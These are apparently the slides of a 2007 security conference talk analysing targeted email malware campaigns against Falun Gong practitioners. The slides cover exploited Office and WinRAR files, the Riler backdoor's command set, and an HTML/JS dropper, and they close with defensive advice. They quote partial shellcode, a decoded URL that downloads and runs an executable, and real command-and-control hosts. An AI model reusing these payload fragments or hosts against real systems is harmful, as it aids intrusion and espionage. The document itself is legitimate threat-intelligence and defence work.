CROUCHING POWERPOINT, HIDDEN TROJAN

24th Chaos Communications Congress
Berlin, December 27th 2007

Maarten Van Horenbeeck
Contents

Targeted Attacks and Information Operations
- Value and distribution of information
- Information Operations: Deny, Deceive, Destroy
- Cultural differences
- Contemporary Methodology

A targeted attack incident
- Background on the issue space
- Overview of attacks
- Link Analysis between objects of attack

Defence against the dark arts
- Technical Controls
- Security Intelligence

Q&A
Then:
- Well known characteristics
- Relatively few social “roles”

Today:
- Strong communication links
- Unpredictable properties
- Value depends on time and situation
Information Operations

- Reality is constructed

Attacks: **Deny, Deceive, Destroy**
IO in the US

• Information Warfare: a US concept

“The integrated employment of the core capabilities of electronic warfare [EW], computer network operations [CNO], psychological operations [PSYOP], military deception and operations security [OPSEC] with specified supporting and related capabilities to influence automated decisionmaking while protecting our own.”

Joint Doctrine for Information Operations (2006), US DoD

• General focus in literature on CNO
• Interest in coordinating execution
IO in China

• Internally generated, not a US copy
• From 20+ definitions (90’s) to a limited set of definitions today
  – Most deal with ‘control’ as an objective instead of ‘victory’
  – Embedded concept of People’s War
  – Use of stratagems
The 36 Stratagems

- Deception devices
- 36 stratagems, over 300 years old

瞞天過海

Deceive the sky to cross the ocean
Act openly and hide in what is normal.
Targeting methodology

• Identify target data
• Locate concentrations
  • Forums
  • Web portals
  • Companies
• Identify subjects of influence
  • Crawling
  • Human interaction
  • Social networking
• Contextually valid message solicits action
Targeted e-mail attacks

Malicious e-mail is sent by the attacker from a compromised host to the victim.

Victim opens e-mail. Code executes and opens backdoor.
Targeted e-mail attacks

- Often attachments abusing file parsing vulnerabilities

- Examples: Microsoft Office, WinRAR, Ichitaro, ...

![Diagram of targeted e-mail attacks]

- Stack or heap overflow vulnerability
- Application document
- Exploitation
- Shellcode
- Shellcode
- Embedded executable
- Installs trojan code or executes malicious action
2005: Espionage attacks

Targeted Trojan Email Attacks

Key Points

- A series of trojanised email attacks are targeting UK Government and companies.
- The attackers’ aim appears to be covert gathering and transmitting of commercially or economically valuable information.

Targeted Trojan Email Attacks

Original release date: July 08, 2005
Last revised: --
Source: US-CERT
A target: Falun Gong

- System of mind and body cultivation
- Introduced in 1992, consisting of:
  - Five sets of meditation exercises (Falun Gong);
  - Set of religious teachings (Falun Dafa)

- Repressed by the People’s Republic of China dating back to July 20, 1999
- Banned because of illegal activities:
  - Threat to social and political stability of the country;
  - Thousands of practitioners have been detained by police;
- PRC ban heavily criticized by human rights activists

- Reportedly victimized by cyber attacks since early 2003
- April – October 2007: 26 total incidents
A target: Falun Gong
2005: Screen saver objects
2005: Screen saver objects

- Chinese language file name
- SCR file is in fact PE file

```
00000040  0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th|
00000050  69 73 20 70 72 6f 67 72  61 6d 20 63 61 6e 6f  |is program canno|
00000060  74 20 62 65 20 72 75 6e  20 69 6e 20 44 4f 53  |t be run in DOS |
```

- DNS lookup for faluninfo.3322.org
- Connects on port 80 and opens remote administration backdoor
2005: Screen saver objects

- Attack scenario for extended compromise
  - Intelligence collection is required
2005: Screen saver objects

- “Domain parking”
  - Intelligence collection is not required
  - Only outbound DNS queries
2005: Screen saver objects

- Identifying parking
  - DNSWatch
    (Note: 63.64.63.64 is used as a parking address here)

+ 2007-12-21 03:59 | ding.pc-officer.com | 63.64.63.64
- 2007-12-21 03:59 | ding.pc-officer.com | 61.219.152.125
+ 2007-12-21 13:35 | ding.pc-officer.com | 61.219.152.125
- 2007-12-21 13:35 | ding.pc-officer.com | 63.64.63.64
+ 2007-12-21 14:52 | ding.pc-officer.com | 63.64.63.64
- 2007-12-21 14:52 | ding.pc-officer.com | 61.219.152.125
+ 2007-12-23 11:51 | ding.pc-officer.com | 61.219.152.125
+ 2007-12-24 01:25 | ding.pc-officer.com | 61.219.152.125
- 2007-12-24 01:25 | ding.pc-officer.com | 63.64.63.64
+ 2007-12-24 03:13 | ding.pc-officer.com | 63.64.63.64
- 2007-12-24 03:13 | ding.pc-officer.com | 61.219.152.125
+ 2007-12-24 11:37 | ding.pc-officer.com | 61.219.152.125
- 2007-12-24 11:37 | ding.pc-officer.com | 63.64.63.64

- Passive DNS replication
• Virus detection, one year later:
• Benign looking filename
Simultaneously, the file

- Exploits MS05-035: arbitrary code execution through MS Word vulnerability
- Connects to a US based server
  - Still active after more than one year
  - Port forwarder to a ChinaNet host
Embedded trojan is slightly modified version of W32/Riler.J
- Access to compromised system
- Ability to drop and create new files
- Ability to search file system for strings

Riler family listed in NISCC bulletin
Riler network traffic:

NAME: QADESH.VER: Stealth 2.6 MARK: fl510 OS: NT 5.0.L_IP: 10. 2.0.18.ID: NoID.
LONG:0508_LOG.txt
NULL
AUTO
ERR code = 02
SNIF
ERR code = 02
WAKE
WAKE
Capabilities:

LOCK SEND WAKE NAME MOON KEEP DISK FILE
DONE DOWN LONG MAKE ATTR KILL LIKE SEEK
READ DEAD DDLL AUTO READY

MOON & DISK grant access to local data
DEAD kills the backdoor
LIKE grants a remote cmd32.exe shell

The attacker has access to data on the system
2006: HuJintao.doc

• Anti virus coverage in 2007:

AntiVir 7.3.1.48 04.02.2007 HEUR/Crypted
AVG 7.5.0.447 04.02.2007 Dropper.Mdrop.O
BitDefender 7.2 04.02.2007 Dropped:Trojan.Riler.J
DrWeb 4.33 04.02.2007 Exploit.FirstTable
F-Secure 6.70.13030.0 04.02.2007 Trojan-Dropper.MSWord.1Table.ax
Kaspersky 4.0.2.24 04.02.2007 Trojan-Dropper.MSWord.1Table.ax
McAfee 4998 04.02.2007 Exploit-1Table
Symantec 10 04.02.2007 Bloodhound.Olexe
Webwasher-Gateway 6.0.1 04.02.2007 Heuristic.Crypted

• 36 solutions tested,
  • 9 identified the Word file as malicious
  • 15 detected the actual embedded executable
April 2007: HTML/JS dropper

PETITION TO THE INTERNATIONAL OLYMPIC COMMITTEE

Urge Chinese regime to respect human rights in true Olympic spirit

We, the undersigned residents of Australia, draw the attention of the International Olympic Committee to the following:

Whereas, Amnesty International, Human Rights Watch and the International community have noted increasingly deteriorating human rights conditions in China.

Whereas, the recent report from David Kilgour, former Canadian MP and Secretary of State for Asia-Pacific and human rights lawyer David Matas, expose the horrific organ harvesting from Falun Gong practitioners by the communist regime.
April 2007: HTML/JS dropper

- E-mail sent with nothing but an HTML file attached. Looks benign.
- Message originated in Taiwan, but sent through Australian mail server
- However, scary script tag

```javascript
evilObject.push( evilString );
try {
    var obj = document.getElementById('target').object;
    obj.CSVData=evilObject[0];
} catch(e) {
}
```
April 2007: HTML/JS dropper

- Contains shellcode

```javascript
var ToWhare = 0x0D0D0D0D;
var KernelIsWhat = unescape("%u8b55%u81ec%ue0ec%u0002%u5300%u5756%u6460%u158b%u0030%u0000%udce9%u0003%u8f00%ub485%ufffd%u8bff%u0c42%u708b%uad1
...hexadecimal...
065%u696f%u746e%u7265%u4300%u6572%u7461%u5065%u6f72%u6563%u7373%u0041%u7845%u7469%u7250%u636f%u7365%u0073%u7255%u6d6c%u6e6f%u642e%u6c6c%u5500%u4c52%u6f44%u6e77%u6f6c%u461%u6f54%u6946%u656c%u0041%u0000%u0000");
```

- Final part of shellcode decodes to:

```
http://70.85.25.174:3721/aeexTemp\csrse.exedceme./xc start iexplore.exeèe$CGmtmondLineeAWGntoisdiweDtrrcAoGyetFileSi eCcreateFileAoCelasdHenWrliteFileaRFeldeSetFilePointereCtrPaceerscAsExitPrs oseUrlmon.dllLUoRnDowdloaiTeFA1
```

- Protox.O backdoor application
April 2007: HTML/JS dropper

- Virus detection of dropper non-existent
2007: Ongoing Word attacks

- Mid-May: Word exploit
  *Installs backdoor, connects to Taiwan*

- End of May: Word exploit
  *Installs Riler backdoor, connects to telephone company in Montana*

- July 2nd & 3rd: Word exploit
  *Installs backdoor, connects to Hong Kong & Taiwan*
2007: Ongoing Word attacks

- Common to these attacks
  - Word file
  - Exploitation
  - Shellcode
  - Shellcode
  - Embedded executable
  - Clean document within context

- Often encrypted
- Packed using PE-ARMOR or FSG
- Often re-used but recompiled and packed with minor changes

- Existing memes in the community are reused
July 2007: WinRAR

- RAR file crashes WinRAR 3.5
- Executes on Traditional Chinese systems
- Backdoor with Keylogger
- No Anti virus detection

“This case is not about infection by some virus or Trojan horse but about crash of one particular program version (or library) on incorrect file.”

Anonymous anti virus vendor 😊
2007: The attacks continue

• Mid August: Malicious Powerpoint
  *Installs backdoor, connects to Taiwan*

• Late August: Malicious RAR archive
  • Installs key logging backdoor
  • Uniquely registers machine by combining MAC address and hostname

• September: Malicious Powerpoint
  *Installs backdoor, connects to Taiwan*
September: the World Series

- 5 Word exploits in one week
  - Each adds slight changes to avoid detection
  - Exploit CVE-2006-2492
  - Connect to CNC Group Hebei Province
  - Different hostnames, same IP address

- One day later: HTML/JS dropper
  - New backdoor family
  - Same control server as in April
October: the Zero-day threat

- MS07-060: Word memory corruption flaw
- Attack nine hours prior to patch release
- Increased complexity: triple payload
  - Disable anti virus
  - Disable HIPS
  - Install trojan and connect to Taiwan

- No anti virus coverage (one false positive)
Zero-day: Rapid Development

- Reuse of existing code
  - Existing HIPS killer
  - Visual Studio “Hello World” application
- Fit for purpose & fast deployment
Autumn Tactics

- Mid-October: Malicious Excel document
  - Disables anti-virus
  - Opens backdoor to US host

- Early November: RAR exploit
  - Installs backdoor
  - Connects to Hong Kong & Taiwan

- Three more PPT exploits in November
  *Open backdoor and connect to Chinese IP*
Autumn Tactics

- Slow move towards new methodology

- “Information gathering tools”
  - Do not provide persistent system access
  - Gather credentials to e-mail accounts
  - Submit them through several protocols:
    - HTTPS to Taiwan
    - HTTP to Taiwan
    - SMTP to Chinese address
Some quick statistics

Covers April through December 2007

Targeted software

- HTML dropper: 6
- Word: 1
- WinRAR: 3
- Powerpoint: 15
- Excel: 2

Covers April through December 2007
Some quick statistics

Attacks per month

Month in 2007

April  May  June  July  August  September  October  November  December
Threat agents

• Several groups known to use these attacks
  • NCPH
  • Titan Rain incident

• Attribution generally difficult
  • Trojans and their sources are exchanged
  • Control servers not shared, often unique
  • Motive and techniques become discriminators
Defence against the dark arts
Defence against the dark arts

- Anti malware
  - Blocking is more important than scanning
  - Diversify desktop and gateway solutions
  - AV solutions have different properties
    - Packed binaries
    - Retrospective testing
    - Sandboxing has limited value
    - Host IPS technologies

- Software hardening
  - Software asset control
  - MoICE, safe mode
Defence against the dark arts

- **Network Security Monitoring**
  - Strong egress filtering and proxying
  - Clues in the DNS system

- **Awareness Building & Identity Management**
  - Identify communications which require trust
  - Make them trustworthy

- **Security Intelligence**
  - Each attack is unique, group may be common
  - Participate in ISACs
  - Response requires insight into the threat agent
Further questions? Contact maarten@daemon.be